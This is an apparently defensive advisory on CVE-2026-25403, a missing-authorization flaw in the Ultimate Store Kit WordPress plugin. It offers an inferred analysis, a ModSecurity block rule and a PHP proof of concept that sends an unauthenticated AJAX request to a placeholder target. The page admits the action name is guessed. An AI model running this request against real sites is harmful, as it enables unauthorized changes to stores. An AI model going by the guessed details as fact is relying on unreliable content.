Published : August 9, 2026

CVE-2026-25403: Ultimate Store Kit – Addon For WooCommerce, EDD and Elementor <= 3.0.5 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.0.5
Patched Version
Disclosed July 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25403 (metadata-based):
The Ultimate Store Kit – Addon For WooCommerce, EDD and Elementor plugin for WordPress, versions up to and including 3.0.5, contains a Missing Authorization vulnerability (CWE-862). The plugin, identified by the slug ‘ultimate-store-kit’, exposes a function (likely an AJAX handler or REST callback) that lacks a capability check, allowing unauthenticated attackers to invoke it. The CVSS score is 5.3 (medium) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N, indicating network access, no privileges, and a low impact on integrity without confidentiality or availability impact. Atomic Edge analysis infers the issue is a broken access control flaw, not a data leak or direct code execution.

The root cause is a missing permission callback or capability check in a PHP function that the plugin registers as an AJAX handler or REST API endpoint. In WordPress, such handlers commonly use hooks like wp_ajax_ and wp_ajax_nopriv_, or are registered via register_rest_route. For the nopriv action, the handler runs without authentication, and if it lacks a current_user_can() check, an unauthenticated attacker can execute the action. This conclusion is inferred from the CWE-862 classification and the vulnerability description; no source code was available for confirmation. The description specifically references ‘a missing capability check on a function’, aligning with the typical vulnerable pattern of an AJAX handler that performs a state-changing operation without authorization verification.

Exploitation requires only a crafted HTTP request to the WordPress AJAX endpoint. An attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to a plugin-specific AJAX hook, such as ultimate_store_kit_some_action (exact name inferred, not confirmed). The request requires no nonce, cookies, or authentication token, as the vulnerable function may also be registered for unauthenticated access via the nopriv hook. The attacker can include additional parameters that the function processes, potentially triggering the unauthorized action. Without the plugin source, Atomic Edge research cannot identify the precise action name, but the attack vector is straightforward: submit the AJAX request with the appropriate action and related parameters to the unauthenticated endpoint.

Remediation requires adding an appropriate capability check to the vulnerable function, typically using current_user_can() with the required capability (e.g., ‘edit_posts’, ‘manage_options’), or a proper permission_callback when using WP REST API. The plugin should also ensure that the handler is only registered for authenticated users unless the function is intentionally public. Developers should review all AJAX and REST callbacks to confirm they include authorization checks, and update to patched version 3.0.7 where this issue is addressed. For site administrators, updating the plugin to 3.0.7 or later is the primary fix; if immediate patching is not possible, a virtual patch via a WAF or security plugin should be applied to block unauthenticated requests to the vulnerable handler.

Successful exploitation enables an unauthenticated attacker to perform an unauthorized action with low integrity impact. The exact action remains unknown, but typical cases involve toggling settings, updating options, or modifying data that the plugin controls. The CVSS vector indicates no confidentiality impact and no availability impact, so the attacker cannot read sensitive data or cause a denial of service. This vulnerability is medium severity, but in the context of a storekit plugin, the unauthorized action might affect product display or plugin configuration, potentially misleading store visitors. The lack of authentication requirement increases the risk, as any attacker can exploit it without prior access.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-25403 (metadata-based)
# Blocks unauthenticated AJAX requests to the Ultimate Store Kit plugin vulnerable handler.
# The rule assumes the action name is 'ultimate_store_kit_unauthorized_action' (inferred).
# If the actual action differs, adjust the @streq value to match.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202619403,phase:2,deny,status:403,chain,msg:'CVE-2026-25403 via Ultimate Store Kit AJAX',severity:'CRITICAL',tag:'CVE-2026-25403'"
  SecRule ARGS:action "@streq ultimate_store_kit_unauthorized_action" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25403 - Ultimate Store Kit – Addon For WooCommerce, EDD and Elementor <= 3.0.5 - Missing Authorization

// Assumptions: The vulnerability is an unauthenticated AJAX action in the plugin.
// Replace the ACTION constant with the actual vulnerable action hook name.
// The action name is inferred from common plugin patterns; adjust if known.

$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';

// The AJAX action that executes the unauthorized function.
// Since the exact action name is not confirmed, this is a placeholder.
// Common patterns: 'ultimate_store_kit_action', 'uskit_do_action', etc.
$action = 'ultimate_store_kit_unauthorized_action';

// Additional parameters that the vulnerable function might process.
// Adjust these based on the actual function's requirements.
$params = array(
    'action' => $action,
    // Example parameter: 'operation' => 'update_option',
    // 'value' => 'attacker_controlled',
);

// Initialize cURL session.
$ch = curl_init();

// Set cURL options for POST request.
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded',
    // No authentication headers needed because the vulnerability allows unauthenticated access.
));

// Send the request and capture the response.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

// Display the result.
echo "HTTP Code: " . $http_code . "n";
echo "Response: " . $response . "n";

// Check if the response indicates success (often returns '1' or '0' for AJAX).
if ($http_code == 200) {
    // The action may or may not have succeeded; further analysis needed.
    echo "Request completed. Verify if the unauthorized action was executed.n";
} else {
    echo "Request failed. HTTP " . $http_code . "n";
}

?>

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